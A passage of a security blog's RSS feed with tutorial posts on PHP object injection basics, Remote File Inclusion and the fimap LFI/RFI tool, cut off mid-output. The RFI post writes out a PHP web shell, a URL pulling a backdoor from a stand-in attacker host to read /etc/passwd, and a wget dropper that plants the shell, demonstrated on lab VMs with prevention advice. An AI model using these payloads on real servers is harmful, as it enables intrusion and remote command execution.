The PHP Serialization bugs are not a common vulnerability and it is very difficult to exploit this bug. Although it could be only found by source code reviews or white box testing. Some of the popular php based CMS systems affected by Object Injection vulnerability are WordPress 3.6.1, Magento 1.9.0.1, Joomla 3.0.3, IP Board 3.3.4.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;a href=&quot;http://www.sec-art.net/2019/01/php-serialization-object-injection.html&quot;&gt;PHP Object Injection : Part 1&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #0b5394; font-size: x-large;&quot;&gt;References :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://mukarramkhalid.com/php-object-injection-serialization/&quot;&gt;https://mukarramkhalid.com/php-object-injection-serialization/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://securitycafe.ro/2015/01/05/understanding-php-object-injection/&quot;&gt;https://securitycafe.ro/2015/01/05/understanding-php-object-injection/&lt;/a&gt;&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2019/01/php-serialization-object-injection_27.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG4wAM5nl-N8ad-zX4DaRLEyWAgrjluwJAnq_-kUQGE_P6D-FxNldwbCJhLH7g2a6fDD1oO__oB15Cg3VjESi_SoND8BAN4oShlnwg062QnQ-_gUhUbvbsWzPfInVEDTNwSb3r7p2T1Ek/s72-c/phpinj.jpg" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-7588915657516942857</guid><pubDate>Sun, 27 Jan 2019 09:28:00 +0000</pubDate><atom:updated>2019-01-27T02:33:23.564-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">Pentesting</category><category domain="http://www.blogger.com/atom/ns#">Web-Exploitation</category><category domain="http://www.blogger.com/atom/ns#">Web-Hacking</category><category domain="http://www.blogger.com/atom/ns#">Web-Server</category><title>PHP Serialization / Object Injection Vulnerability Part 1 : Basics of PHP Serialization and Magic Function</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYImCTx_I5wmIombXhRrjrE8rElBJkbvunN9BN2LEq_L2t-OZ-prZ7qOLztc6DqqdiAUo5oHoEgdMZ86pbhr8BhzCZlr25FeO5y-V-jenfT6AbpqiKaP_sXi_YbGqe_OXrmz_NJkcAWME/s1600/phpinj.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;111&quot; data-original-width=&quot;198&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYImCTx_I5wmIombXhRrjrE8rElBJkbvunN9BN2LEq_L2t-OZ-prZ7qOLztc6DqqdiAUo5oHoEgdMZ86pbhr8BhzCZlr25FeO5y-V-jenfT6AbpqiKaP_sXi_YbGqe_OXrmz_NJkcAWME/s1600/phpinj.jpg&quot; style=&quot;display: none;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
The PHP Object Injection Vulnerability allows an attacker to modify a PHP object in a way that it changes the application flow, which leads to Remote code execution, Path traversal, DOS attack etc.&lt;br /&gt;
&lt;br /&gt;
The serialization vulnerability occurs when user-supplied input is not properly sanitized before being passed to the&amp;nbsp;&lt;a href=&quot;http://php.net/manual/en/function.unserialize.php&quot; target=&quot;_blank&quot;&gt;&lt;i&gt;unserialize()&lt;/i&gt;&lt;/a&gt;&amp;nbsp;PHP function. Since PHP allows object serialization, attackers could pass crafted serialized strings to a vulnerable unserialize() call, which resulting in an arbitrary PHP object(s) injection into the application scope.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
Now lets look some basic concept behind Serialization/unserialization :&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #0b5394; font-size: x-large;&quot;&gt;&lt;b&gt;&amp;nbsp;PHP Serialization :&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The PHP allows Object Serialization, means with serialization process we can store php objects as string for later use.&amp;nbsp; For object serialization serialize() function is used, and it returns the string representation of php object. For example :&lt;br /&gt;
&lt;br /&gt;
Filename : &lt;b&gt;srl1.php&lt;/b&gt;&lt;br /&gt;
&lt;pre class=&quot;brush: php&quot;&gt;&amp;lt;?php
  class MyApp {
    public $name = &#39;Bruce Wayne&#39;;
    public $age = 45;
  }

  $obj = new MyApp;
  echo serialize($obj);
?&amp;gt;&lt;/pre&gt;
At above there is a php class &#39;MyApp&#39; which contains 2 class variables name and age, &#39;obj&#39; is an object of class &#39;MyApp&#39; and the last line will print serialized string of object &#39;obj&#39;. The output is&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; O:5:&quot;MyApp&quot;:2:{s:4:&quot;name&quot;;s:11:&quot;Bruce Wayne&quot;;s:3:&quot;age&quot;;i:45;}&lt;/code&gt;&lt;/pre&gt;
As we can see the above represent the serialized version of the object &#39;obj&#39;. Some of the details are :&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;b&gt;O:5:&quot;MyApp&quot;&lt;/b&gt; : The first &#39;O&#39; represents the class, 3 5 represents the length of characters of class name and &#39;MyApp&#39; is name of class.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;:2:&lt;/b&gt; &#39;&#39; represents the number of class variables.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;s:4:&quot;name&quot;;&lt;/b&gt;,&amp;nbsp; where &#39;&lt;b&gt;s&lt;/b&gt;&#39; represents the string, 4 is&amp;nbsp; number character and then the value itself.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Similarly&amp;nbsp; &lt;b&gt;s:11:&quot;Bruce Wayne&quot;;&lt;/b&gt; and &lt;b&gt;s:3:&quot;age&quot;;&lt;/b&gt; is same as above.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;i:45&lt;/b&gt;, where i represents the integer value and 45 is its value.&lt;/li&gt;
&lt;/ul&gt;
The table below shows the various serialization formats :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5ya9FU8Wh3Cp_p6ywRunGRgSDiWqKaqp6MgC__3aJGlfwtRTi_V4rFdT5q-rYvqe7veAWMfiZ97sGNRyzUBlG0P2k5tKdd441sVIBtl2MCEyJbICKSLMIlAFWTyg7zmBzxw-KWpkqpBU/s1600/img1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;295&quot; data-original-width=&quot;903&quot; height=&quot;209&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5ya9FU8Wh3Cp_p6ywRunGRgSDiWqKaqp6MgC__3aJGlfwtRTi_V4rFdT5q-rYvqe7veAWMfiZ97sGNRyzUBlG0P2k5tKdd441sVIBtl2MCEyJbICKSLMIlAFWTyg7zmBzxw-KWpkqpBU/s640/img1.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
After that for deserialization of the data unserialize() function is used. Now lets try to unserialize the above output.&lt;br /&gt;
&lt;br /&gt;
Filename : &lt;b&gt;srl2.php&lt;/b&gt;&lt;br /&gt;
&lt;pre class=&quot;brush: php&quot;&gt;&amp;lt;?php
  class MyApp {
    public $name;
    public $age;

    public function print() {
      echo &#39;Name : &#39; . $this-&amp;gt;name . &#39;&amp;lt;br/&amp;gt;&#39;;
      echo &#39;Age : &#39; . $this-&amp;gt;age;
    }
  }

  $data = &#39;O:5:&quot;MyApp&quot;:2:{s:4:&quot;name&quot;;s:11:&quot;Bruce Wayne&quot;;s:3:&quot;age&quot;;i:45;}&#39;;
  $obj = unserialize($data);
  $obj-&amp;gt;print();
?&amp;gt;&lt;/pre&gt;
At above code the stored object data is deserialized with unserializ() function. The Output is :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; Name : Bruce Wayne
 Age : 45&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #0b5394; font-size: x-large;&quot;&gt;&lt;b&gt;PHP Magic Functions :&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
In PHP, magic functions are special built-in functions, which can automatically get called when certain events occured, and this perticular functionality of Magic functions can be used to exploit the Object Injection vulnerability. The name of magic functions are starts with double underscore sign &quot;__&quot;, for example &quot;construct&quot;, &quot;__destruct&quot; etc. Some of the magic functions are :&lt;br /&gt;
&lt;br /&gt;
__construct() : It executes when a new object is created in php. The construct function is basically used for initialization process of object.&lt;br /&gt;
&lt;br /&gt;
__destruct() : The destruct function is called when there is no other reference to a particular object, or during the shutdown sequence of program.&lt;br /&gt;
&lt;br /&gt;
__sleep() : It executes just before the serialization.&lt;br /&gt;
&lt;br /&gt;
__wakeup() : It executes just after the deserialization.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Now lets see an example of above magic functions.&lt;br /&gt;
&lt;br /&gt;
Filename : &lt;b&gt;magic.php&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;brush: php&quot;&gt;&amp;lt;?php
  class MyApp {
    public $name = &quot;Bruce Wayne&quot;;
    public $age = 45;

    public function printMe() {
      echo &quot;Name: &quot; . $this-&amp;gt;name . &quot;&amp;lt;br/&amp;gt;&quot;;
      echo &quot;Age: &quot; . $this-&amp;gt;age . &quot;&amp;lt;br/&amp;gt;&quot;;
    }

    public function __construct() {
      echo &quot;[*] __construct() is Called.&amp;lt;br/&amp;gt;&quot;;
    }

    public function __destruct() {
      echo &quot;[*] __destruct() is Called.&amp;lt;br/&amp;gt;&quot;;
    }

    public function __wakeup() {
      echo &quot;[*] __wakeup() is Called.&amp;lt;br/&amp;gt;&quot;;
    }

  }

  $obj = new MyApp; // object is created, 

  $data = serialize($obj);

  $newObj = unserialize($data);

  $newObj-&amp;gt;printMe();
?&amp;gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
Output of the above code is :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; [*] __construct() is Called.
 [*] __wakeup() is Called.
 Name: Bruce Wayne
 Age: 45
 [*] __destruct() is Called.
 [*] __destruct() is Called.&lt;/code&gt;&lt;/pre&gt;
Now in object injection attack , the __destruct() function is used.&lt;br /&gt;
&lt;br /&gt;
You can download above php codes from here : &lt;a href=&quot;https://github.com/sec-artdotnet/PHPObjectInjction/tree/master/Part1&quot; target=&quot;_blank&quot;&gt;Github_link&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #0b5394; font-size: x-large;&quot;&gt;Conclusion :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
In this post we learnt the use of serialization function and also the use of magic functions. Now in next post we are going to look about exploitation method of PHP Object Injection.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.sec-art.net/2019/01/php-serialization-object-injection_27.html&quot; target=&quot;_blank&quot;&gt;PHP Object Injection Part 2 : Exploitation Technique&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2019/01/php-serialization-object-injection.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYImCTx_I5wmIombXhRrjrE8rElBJkbvunN9BN2LEq_L2t-OZ-prZ7qOLztc6DqqdiAUo5oHoEgdMZ86pbhr8BhzCZlr25FeO5y-V-jenfT6AbpqiKaP_sXi_YbGqe_OXrmz_NJkcAWME/s72-c/phpinj.jpg" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-1775830841273037683</guid><pubDate>Sat, 26 Jan 2019 15:41:00 +0000</pubDate><atom:updated>2019-01-26T08:04:46.347-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">LFI</category><category domain="http://www.blogger.com/atom/ns#">Pentesting</category><category domain="http://www.blogger.com/atom/ns#">RFI</category><category domain="http://www.blogger.com/atom/ns#">Web-Exploitation</category><category domain="http://www.blogger.com/atom/ns#">Web-Hacking</category><title>Remote File Inclusion Attacks on Web-Application | RFI Attacks</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
RFI stands for Remote File Inclusion, this vulnerability allows an attacker to dynamically include files/scripts from remote/external sources into the web server. This vulnerability occurs due to poorly implemented security checks and sanitization. The successful exploitation of RFI vulnerability leads to remote code execution, Cross Site Scripting, Information disclosure etc. For example :&lt;br /&gt;
&lt;pre class=&quot;brush: php&quot;&gt;&amp;lt;?php
  $file = $_GET[&#39;file&#39;];
  include($file);
?&amp;gt;&lt;/pre&gt;
The above page takes file name as input and include that file.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; website.com/test.php?file=page1&lt;/code&gt;&lt;/pre&gt;
But the above php code is vulnerable to RFI attack, and an attacker could easily include remote files and run it on the web server.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; website.com/test.php?file=http://attackersite.com/backdoor.php&amp;amp;cmd=cat%20/etc/passwd&lt;/code&gt;&lt;/pre&gt;
Now lets see an example of the attack. Also note that in php version 5 and above the &#39;&lt;i&gt;allow_url_include&lt;/i&gt;&#39; option is disabled by default, and in order to experiment with RFI you have to enable it.&lt;br /&gt;
&lt;br /&gt;
In this example i am going to use Metasploitable2 VM. The download links are given below :&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Download Link : &lt;a href=&quot;https://download.vulnhub.com/metasploitable/metasploitable-linux-2.0.0.zip&quot; target=&quot;_blank&quot;&gt;https://download.vulnhub.com/metasploitable/metasploitable-linux-2.0.0.zip&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
And you also need to enable &quot;allow_url_include&quot; option in Metasploitable2, to do that just open the file &#39;/etc/php5/cgi/php.ini&#39; with nano or vi editor and in Line number 576&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; allow_url_include = Off&lt;/code&gt;&lt;/pre&gt;
at above line change &lt;b&gt;Off&lt;/b&gt; with &lt;b&gt;On&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; allow_url_include = On&lt;/code&gt;&lt;/pre&gt;
Our vulnerable page will take page name and include that page.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgkSf7KUx6aA_itIxZZvGL9EH4MXKRNfZqJztgKdFuG-BTI6A2HM_mRJr2DsBkRw3bgSf3R69eDdXZk61MgW65rym-gwiI5OhvR4kzS9f_PXRVMaaCgOf_OXxQ-_5FMH0ko8RR88nkHyM/s1600/img1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;300&quot; data-original-width=&quot;591&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgkSf7KUx6aA_itIxZZvGL9EH4MXKRNfZqJztgKdFuG-BTI6A2HM_mRJr2DsBkRw3bgSf3R69eDdXZk61MgW65rym-gwiI5OhvR4kzS9f_PXRVMaaCgOf_OXxQ-_5FMH0ko8RR88nkHyM/s1600/img1.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Now we try to include an external file from remote source.&lt;br /&gt;
&lt;br /&gt;
File : &lt;b&gt;shell.php&lt;/b&gt;&lt;br /&gt;
&lt;pre class=&quot;brush: php&quot;&gt;&amp;lt;?php
  $cmd = $_GET[&#39;cmd&#39;];
  system($cmd);
?&amp;gt;&lt;/pre&gt;
URL of php file is : &lt;i&gt;http://192.168.56.1:8000/shell.php&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
And in the web application, the url will be :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /dvwa/vulnerabilities/fi/?page=http://192.168.56.1:8000/shell.php&amp;amp;cmd=ls&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitfUULj0m7QxzESOgSMjDVrLgYh47m02EcQQ2olrgvuMpdqwX8VEXSQ-UDhtZt0A4tNjZhEB1MkPiQ3u1tESvT9aJo6Vx6xftalSXYX_j-H91sZUcGwfLFKH1XgfR5CZCscVT2Ne2zwBk/s1600/img2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;103&quot; data-original-width=&quot;887&quot; height=&quot;73&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitfUULj0m7QxzESOgSMjDVrLgYh47m02EcQQ2olrgvuMpdqwX8VEXSQ-UDhtZt0A4tNjZhEB1MkPiQ3u1tESvT9aJo6Vx6xftalSXYX_j-H91sZUcGwfLFKH1XgfR5CZCscVT2Ne2zwBk/s640/img2.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
And as we can see the &#39;ls&#39; command is successfully executed on the web server. We can also drop our backdoor file on the web server with below code&lt;br /&gt;
&lt;br /&gt;
File : &lt;b&gt;load.php&lt;/b&gt;&lt;br /&gt;
&lt;pre class=&quot;brush: php&quot;&gt;&amp;lt;?php
  shell_exec(&#39;wget http://192.168.56.1:8000/shell.php -O /var/www/shell.php&#39;)
?&amp;gt;&lt;/pre&gt;
The above code will download shell.php and store it on &lt;i&gt;/var/www/&lt;/i&gt; directory.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; http://192.168.56.101/dvwa/vulnerabilities/fi/?page=http://192.168.56.1:8000/load.php&lt;/code&gt;&lt;/pre&gt;
and after the above request, we can access our backdoor &#39;shell.php&#39;, with&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; http://192.168.56.101/shell.php?cmd=&amp;lt;command_to_run&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfYo30MOls-8uN0hm2kE5LB5Dzb79z4h6aE1QYsv4tIuJufLxKVRiMByYv05eruEsia8dLY0NiM6vyQoOcR2HxdBVX3EE_1Au-BMGobCCY4k3J5IWKP14hM2fywIf56JOi6_BscRsqEWw/s1600/img3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;98&quot; data-original-width=&quot;811&quot; height=&quot;77&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfYo30MOls-8uN0hm2kE5LB5Dzb79z4h6aE1QYsv4tIuJufLxKVRiMByYv05eruEsia8dLY0NiM6vyQoOcR2HxdBVX3EE_1Au-BMGobCCY4k3J5IWKP14hM2fywIf56JOi6_BscRsqEWw/s640/img3.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #0b5394; font-size: x-large;&quot;&gt;&lt;b&gt;Preventing Remote File Inclusion (RFI) vulnerability&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The best way to eliminate Remote File Inclusion (RFI) vulnerabilities is to avoid dynamically including files based on user input. If this is not possible, the application should maintain a whitelist of files that can be included in order to limit the attacker’s control over what gets included. We can also minimize the risk of RFI attacks through proper input validation and sanitization. it’s always preferable to sanitize user-supplied/controlled inputs to the best of your ability. These inputs include:&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;GET/POST parameters&lt;/li&gt;
&lt;li&gt;URL parameters&lt;/li&gt;
&lt;li&gt;Cookie values&lt;/li&gt;
&lt;li&gt;HTTP header values&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
It is also recommended to implement validation mechanisms on the server side, because client side validation can be easily bypassed by using a proxy tool like burp suite, ZAP proxy etc.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Additionally, in the case of PHP, most modern PHP configurations are configured with allow_url_include set to off, which would not allow an attacker to include remote files, but it still be vulnerable to Local File Inclusion attack.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Links to other posts :&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;a href=&quot;http://www.sec-art.net/2019/01/local-file-inclusion-attacks-on-web.html&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Introduction to LFI Attack&lt;/b&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.sec-art.net/2019/01/exploiting-local-file-inclusion-lfi.html&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;Exploiting Local File Inclusion (LFI ) vulnerability with /proc/self/environ method&lt;/b&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.sec-art.net/2019/01/fimap-tool-for-exploiting-local-file.html&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;fimap : tool for exploiting Remote/Local File Inclusion vulnerability&lt;/b&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2019/01/remote-file-inclusion-attacks-on-web.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgkSf7KUx6aA_itIxZZvGL9EH4MXKRNfZqJztgKdFuG-BTI6A2HM_mRJr2DsBkRw3bgSf3R69eDdXZk61MgW65rym-gwiI5OhvR4kzS9f_PXRVMaaCgOf_OXxQ-_5FMH0ko8RR88nkHyM/s72-c/img1.jpg" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-8217224018912728822</guid><pubDate>Sat, 26 Jan 2019 14:50:00 +0000</pubDate><atom:updated>2019-01-26T08:05:08.816-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">LFI</category><category domain="http://www.blogger.com/atom/ns#">Pentesting</category><category domain="http://www.blogger.com/atom/ns#">RFI</category><category domain="http://www.blogger.com/atom/ns#">Tools &amp; Scripts</category><category domain="http://www.blogger.com/atom/ns#">Web-Exploitation</category><category domain="http://www.blogger.com/atom/ns#">Web-Hacking</category><title>fimap : tool for exploiting Remote/Local File Inclusion vulnerability | LFI Attacks</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
fimap is an LFI/RFI detection and exploitation tool written in python which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps. fimap is something like sqlmap just for LFI/RFI bugs instead of SQL injection. The download link is given below :&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;a href=&quot;https://github.com/crunchsec/fimap/archive/master.zip&quot;&gt;https://github.com/crunchsec/fimap/archive/master.zip&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Now lets see some example of uses fimap.&lt;br /&gt;
&lt;br /&gt;
For help menu :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; ./fimap.py -h&lt;/code&gt;&lt;/pre&gt;
Now lets first try it with Web4Pentest VM&#39;s File Inclusion Pages.&lt;br /&gt;
&lt;br /&gt;
Simple Scan :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; ./fimap.py -u http://192.168.56.103/fileincl/example1.php?page=&lt;/code&gt;&lt;/pre&gt;
Output :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaGcxadx2FoL710u3muiLjkc5gkPOJBgFYkMB3lJpMDIoYvjxTgPbaqhcUSKLZOe2n1EE9sQv4TZXAaYOVhjMFym1j0VYHzc6qbdaKGlLb3WkcLYWX19yTmCdxMdIRfiuaAg5bs2UqC6A/s1600/img1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;300&quot; data-original-width=&quot;648&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaGcxadx2FoL710u3muiLjkc5gkPOJBgFYkMB3lJpMDIoYvjxTgPbaqhcUSKLZOe2n1EE9sQv4TZXAaYOVhjMFym1j0VYHzc6qbdaKGlLb3WkcLYWX19yTmCdxMdIRfiuaAg5bs2UqC6A/s1600/img1.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
as we can see the &#39;page&#39; parameter is vulnerable. Scanning the second example :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; ./fimap.py -u http://192.168.56.103/fileincl/example2.php?page=&lt;/code&gt;&lt;/pre&gt;
Output :&lt;br /&gt;
